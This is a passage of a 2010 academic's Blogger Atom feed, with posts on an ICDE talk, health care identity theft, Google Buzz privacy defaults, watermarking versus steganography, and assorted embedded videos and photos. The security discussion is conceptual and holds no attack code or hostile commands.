src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2388012581313929751</id><published>2010-03-08T16:01:00.003-05:00</published><updated>2010-03-18T00:44:47.991-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Slides of my talk at ICDE 2010</title><content type='html'>Last week, we had the &lt;a href="http://www.icde2010.org/"&gt;ICDE 2010&lt;/a&gt; conference in Long Beach, LA. Here are &lt;a href="http://www.cs.purdue.edu/homes/nabeel/pdf/SNPB_ICDE_2010.pdf"&gt;the slides&lt;/a&gt; of my talk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2388012581313929751?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2388012581313929751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2388012581313929751' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2388012581313929751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2388012581313929751'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/slides-of-my-talk-at-icde-2010.html' title='Slides of my talk at ICDE 2010'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2768781825468758685</id><published>2010-02-24T10:17:00.003-05:00</published><updated>2010-03-18T00:45:17.917-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>Another great presentation</title><content type='html'>"Cloud computing - why it matters?" by Simon Wardley (OSCON '09). I like the presentation style and the presentation itself.&lt;br /&gt;&lt;br /&gt;&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/okqLxzWS5R4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/okqLxzWS5R4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2768781825468758685?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2768781825468758685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2768781825468758685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2768781825468758685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2768781825468758685'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/another-great-presentation.html' title='Another great presentation'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7218066418089098815</id><published>2010-02-20T10:38:00.003-05:00</published><updated>2010-03-18T00:45:36.827-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='identity'/><title type='text'>Identity 2.0 keynote</title><content type='html'>The following keynote (found thanks to a friend of mine) is quite old, but I thought of adding it here as the presentation style used is quite interesting (the content is very useful as well). I liked it so much that I watched it twice. I think I am going copy some of his style in my presentations.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/RrpajcAgR1E&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/RrpajcAgR1E&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7218066418089098815?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7218066418089098815/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7218066418089098815' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7218066418089098815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7218066418089098815'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/identity-20-keynote.html' title='Identity 2.0 keynote'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5566189176356838647</id><published>2010-02-15T12:42:00.003-05:00</published><updated>2010-03-18T00:45:59.359-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='identity'/><title type='text'>Health care identity theft</title><content type='html'>&lt;a href="http://bucks.blogs.nytimes.com/2010/02/11/guard-your-health-insurance-card/?nl=your-money&amp;amp;emc=your-moneyema3"&gt;A good news article&lt;/a&gt; on health care identity fraud and its current status.&lt;br /&gt;&lt;br /&gt;Theft of health care identity is relatively new; partly because it's only now people are starting to use electronic health care records. Last year, in the stimulus package, the US government allocated billions of dollars to start build a nation wide online health care record system over the next couple of years. So, I think there will be more such incidents than what we currently see.&lt;br /&gt;&lt;br /&gt;Some stats:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;...It is estimated that the number of identity fraud victims in the United States increased by 12 percent, to 11.1 million adults in 2009, while the total annual fraud amount increased by 12.5 percent, to $54 billion.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Health insurance-related identity fraud is particularly troublesome because of the relative costs. The average identity fraud victim pays $373, while a health insurance fraud victim pays $2,228, and a health insurance fraud typically is about $12,100 in total, compared with $4,841 for an average identity fraud case."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A simple solution to minimize such frauds is to ask for multiple credentials (driver's license, student photo ID,  etc.) along with the health insurance card; it is unlikely an impersonator possesses all these.&lt;br /&gt;&lt;br /&gt;This is good news for those who do research in protecting medical records - there is a real need.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5566189176356838647?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5566189176356838647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5566189176356838647' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5566189176356838647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5566189176356838647'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/health-care-identity-theft.html' title='Health care identity theft'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1814125534794594436</id><published>2010-02-14T01:39:00.005-05:00</published><updated>2010-03-18T00:46:24.295-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='creativity'/><category scheme='http://www.blogger.com/atom/ns#' term='fun'/><title type='text'>Some creative Flickr photos marking the day..</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3110/2326308783_923c8fb9c5.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 375px;" src="http://farm4.static.flickr.com/3110/2326308783_923c8fb9c5.jpg" alt="" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.flickr.com/photos/gjik/2326308783/"&gt;link&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm2.static.flickr.com/1223/686002873_a62f09139b.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 374px;" src="http://farm2.static.flickr.com/1223/686002873_a62f09139b.jpg" alt="" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.flickr.com/photos/annfrau/686002873/"&gt;link&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm1.static.flickr.com/142/345629659_2ead85a658.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 334px;" src="http://farm1.static.flickr.com/142/345629659_2ead85a658.jpg" alt="" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.flickr.com/photos/zizoo/345629659/"&gt;link&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3272/2993433094_38ea814bb1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 361px;" src="http://farm4.static.flickr.com/3272/2993433094_38ea814bb1.jpg" alt="" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.flickr.com/photos/rideracelive/2993433094/"&gt;link&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm1.static.flickr.com/100/294425665_67273e877e.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 365px;" src="http://farm1.static.flickr.com/100/294425665_67273e877e.jpg" alt="" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.flickr.com/photos/andy_s/294425665/"&gt;link&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1814125534794594436?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1814125534794594436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1814125534794594436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1814125534794594436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1814125534794594436'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/some-creative-flickr-photos-marking-day.html' title='Some creative Flickr photos marking the day..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3110/2326308783_923c8fb9c5_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4689228253014227859</id><published>2010-02-12T10:07:00.004-05:00</published><updated>2010-03-18T00:48:34.576-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>The Good, the Bad and the Ugly at the same time..</title><content type='html'>It is sad to see that if you criticize or are open minded about the current ruling, they think you are a conspirator..and if you &lt;a href="http://mohamednabeel.blogspot.com/2010/01/minority-aspirations.html"&gt;speak for the people in the north and east&lt;/a&gt;, they think you are a traitor. I agree with most of the things that Shahani &lt;a href="http://shahani-w.blogspot.com/2010/02/future-in-paradise-rant-and-rave.html"&gt;mentions in her blog&lt;/a&gt; .. whatever happens politically, still Sri Lanka is one of the best (&lt;a href="http://www.facebook.com/album.php?aid=2635863&amp;amp;id=13753957&amp;amp;l=4f1b96393c"&gt;my&lt;/a&gt; &lt;a href="http://www.facebook.com/album.php?aid=2641322&amp;amp;id=13753957&amp;amp;l=d2ff80b86c"&gt;public&lt;/a&gt; &lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/"&gt;photos&lt;/a&gt; bear witness :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4689228253014227859?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4689228253014227859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4689228253014227859' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4689228253014227859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4689228253014227859'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/good-bad-and-ugly-at-same-time.html' title='The Good, the Bad and the Ugly at the same time..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4259073951925869751</id><published>2010-02-11T12:14:00.008-05:00</published><updated>2010-03-18T00:49:15.452-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social networks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Google buzz is criticized for privacy concerns</title><content type='html'>After setting up buzz, if you don't change the default settings, others can see who you most frequently (not sure about the most frequent part, I guess they pick almost all the contacts that you ever had conversation with if your contact list is not too long) chat with or email to due to the default automatic friends feature. &lt;a href="http://www.businessinsider.com/warning-google-buzz-has-a-huge-privacy-flaw-2010-2"&gt;Looks like they have not learned from the Facebook beacon experience&lt;/a&gt; -- when it comes to information sharing it is safer to opt-in rather than opt-out.&lt;br /&gt;&lt;br /&gt;The above link mentions that:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Imagine ... a wife discovering that her husband emails and chats with an old girlfriend,"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(Btw, if you are honest, you probably don't need to hide anything. Are we encouraging people to be dishonest by allowing them to hide behind the screen in the name of privacy??)&lt;br /&gt;&lt;br /&gt;Also mentions that:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Imagine ... a boss discovers a subordinate emails with executives at a competitor."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(When you use a free service like Google mail/chat, you don't have much control over your information - your profile, your chat logs, your contacts, your emails ... this raises the question if we should use such services for business purposes or highly private matters??)&lt;br /&gt;&lt;br /&gt;There could be other damaging inferences as well. For example, if Bob frequently communicate with one of his doctors, John, who specializes in cancer treatment. Others will be able to infer that Bob is possibly having some sort of cancer.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.computerworld.com/s/article/9155338/Google_Buzz_criticized_for_disclosing_Gmail_contacts?source=rss_security"&gt;Mitigating factors&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;There are some mitigating factors, however. Buzz only shares information about other people who are using Buzz and have set up public profiles in Google. So currently, most Gmail users are not publicly listed by the service. Users can also "unfollow" people who they don't want to be linked to.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can follow the steps in &lt;a href="http://www.businessinsider.com/warning-google-buzz-has-a-huge-privacy-flaw-2010-2#after-clicking-buzz-on-the-right-inside-your-gmail-page-click-on-your-name-as-shown-1"&gt;this&lt;/a&gt; to change the default settings.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4259073951925869751?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4259073951925869751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4259073951925869751' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4259073951925869751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4259073951925869751'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/google-buzz-is-criticized-for-privacy.html' title='Google buzz is criticized for privacy concerns'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6576262607085274832</id><published>2010-02-06T11:50:00.004-05:00</published><updated>2010-03-18T00:49:46.619-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='watermarking'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Alice, Bob, Malloy, Jared, Tim and Eve</title><content type='html'>Yesterday I was at a short talk on watermarking. Thought of checking out some recent work on the subject. And I was think how I am going to explain it to someone who is not interested in technical stuff. Following description is adapted from &lt;a href="https://www.cerias.purdue.edu/assets/pdf/bibtex_archive/2002-52-report.pdf"&gt;a relatively old paper&lt;/a&gt; with the usual security characters:&lt;br /&gt;&lt;br /&gt;Data hiding aims at enabling &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt; to exchange messages in a manner as resilient and stealthy as possible, through a medium controlled by evil &lt;span style="font-style: italic;"&gt;Mallory&lt;/span&gt;. &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt; don't care if &lt;span style="font-style: italic;"&gt;Mallory&lt;/span&gt; see the hidden message.&lt;br /&gt;&lt;br /&gt;On the other hand, digital watermarking is deployed by &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; to prove ownership over a piece of data (a music album, movie, photo, document, etc), to &lt;span style="font-style: italic;"&gt;Jared&lt;/span&gt; the Judge, usually in the case when Tim the Thief benefits from using/selling that very same piece of data (or maliciously modified versions of it). In order to convince &lt;span style="font-style: italic;"&gt;Jared&lt;/span&gt;, the piece of data should have something unique that only &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; can show its existence (Ideally, &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; should be able to challenge &lt;span style="font-style: italic;"&gt;Tim&lt;/span&gt; to show how to get that unique thing from the data; &lt;span style="font-style: italic;"&gt;Tim&lt;/span&gt; fails to do so since he does not possess a secret that only &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; knows. This will impress &lt;span style="font-style: italic;"&gt;Jared&lt;/span&gt; more about &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt;'s claim and Jared is most like to send &lt;span style="font-style: italic;"&gt;Tim&lt;/span&gt; to jail.). &lt;span style="font-style: italic;"&gt;Jared&lt;/span&gt; does not care what that unique thing is - it just needs to be unique. To be effective, &lt;span style="font-style: italic;"&gt;Tim&lt;/span&gt; should be able to remove that unique thing from the piece of data (better if &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; can prove if &lt;span style="font-style: italic;"&gt;Tim&lt;/span&gt; tried to tamper the piece data). For a usability point of view, that unique unique thing that &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; has attached to the piece of data should not affect the quality or any other desirable property of that piece of data.&lt;br /&gt;&lt;br /&gt;Now in another scenario, &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; wants to send a message to &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt; through a communication channel controlled by &lt;span style="font-style: italic;"&gt;Eve&lt;/span&gt; and she want to hide the existence of that message from Eve (not even want to show the cryptic message which &lt;span style="font-style: italic;"&gt;Eve&lt;/span&gt; cannot decipher anyway). So, &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; uses stenographic techniques here. Unlike watermarking, here the hidden message is the main data. &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; takes some public piece of data (e.g. an image) and embeds the message. For &lt;span style="font-style: italic;"&gt;Eve&lt;/span&gt;, it looks all normal. &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt; shares a secret so that once &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt; gets the public piece of data, he can extract the hidden message. It would be even better if &lt;span style="font-style: italic;"&gt;Eve&lt;/span&gt; cannot know if a communication took place between &lt;span style="font-style: italic;"&gt;Alice&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;Bob&lt;/span&gt;. In certain situation (like in a war) knowing that two parties communicated with one another could be valuable information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6576262607085274832?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6576262607085274832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6576262607085274832' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6576262607085274832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6576262607085274832'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/alice-bob-malloy-jared-tim-and-eve.html' title='Alice, Bob, Malloy, Jared, Tim and Eve'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4557044887267157726</id><published>2010-02-04T08:09:00.002-05:00</published><updated>2010-03-18T00:50:10.395-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inspiration'/><title type='text'>Imagination is the limit</title><content type='html'>&lt;!--copy and paste--&gt;&lt;object width="446" height="326"&gt;&lt;param name="movie" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;param name="bgColor" value="#ffffff"&gt; &lt;param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/PranavMistry_2009I-medium.flv&amp;amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/PranavMistry-2009I.embed_thumbnail.jpg&amp;amp;vw=432&amp;amp;vh=240&amp;amp;ap=0&amp;amp;ti=685&amp;amp;introDuration=16500&amp;amp;adDuration=4000&amp;amp;postAdDuration=2000&amp;amp;adKeys=talk=pranav_mistry_the_thrilling_potential_of_sixthsense_tec;year=2009;theme=a_taste_of_tedindia;theme=design_like_you_give_a_damn;theme=the_creative_spark;theme=new_on_ted_com;theme=ted_under_30;theme=what_s_next_in_tech;theme=tales_of_invention;event=TEDIndia+2009;&amp;amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;"&gt;&lt;embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" pluginspace="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" bgcolor="#ffffff" allowfullscreen="true" flashvars="vu=http://video.ted.com/talks/dynamic/PranavMistry_2009I-medium.flv&amp;amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/PranavMistry-2009I.embed_thumbnail.jpg&amp;amp;vw=432&amp;amp;vh=240&amp;amp;ap=0&amp;amp;ti=685&amp;amp;introDuration=16500&amp;amp;adDuration=4000&amp;amp;postAdDuration=2000&amp;amp;adKeys=talk=pranav_mistry_the_thrilling_potential_of_sixthsense_tec;year=2009;theme=a_taste_of_tedindia;theme=design_like_you_give_a_damn;theme=the_creative_spark;theme=new_on_ted_com;theme=ted_under_30;theme=what_s_next_in_tech;theme=tales_of_invention;event=TEDIndia+2009;" width="446" height="326"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Ref: &lt;a href="http://www.ted.com/talks/pranav_mistry_the_thrilling_potential_of_sixthsense_technology.html"&gt;link&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4557044887267157726?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4557044887267157726/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4557044887267157726' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4557044887267157726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4557044887267157726'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/imagination-is-limit.html' title='Imagination is the limit'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2246143341646405771</id><published>2010-02-02T22:41:00.003-05:00</published><updated>2010-03-18T00:50:38.621-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Funny..</title><content type='html'>You probably have watched this video earlier. I happened to watch it again. It's so funny :) .. there's a message as well - I don't like people bragging about their personal life in Twitter/Facebook or any other social media, but Twitter could be a useful tool if it is used in the right way.&lt;br /&gt;&lt;br /&gt;&lt;object id="ce_89891774" width="400" height="300"&gt;&lt;param name="movie" value="http://current.com/e/89891774/en_US"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed type="application/x-shockwave-flash" src="http://current.com/e/89891774/en_US" wmode="transparent" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This one is not only funny, but also very creative :) .. there is some reality as well.&lt;br /&gt;&lt;br /&gt;&lt;object id="ce_91659341" width="400" height="300"&gt;&lt;param name="movie" value="http://current.com/e/91659341/en_US"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed type="application/x-shockwave-flash" src="http://current.com/e/91659341/en_US" wmode="transparent" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2246143341646405771?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2246143341646405771/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2246143341646405771' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2246143341646405771'/><link rel='self' type='application/atom+xml' 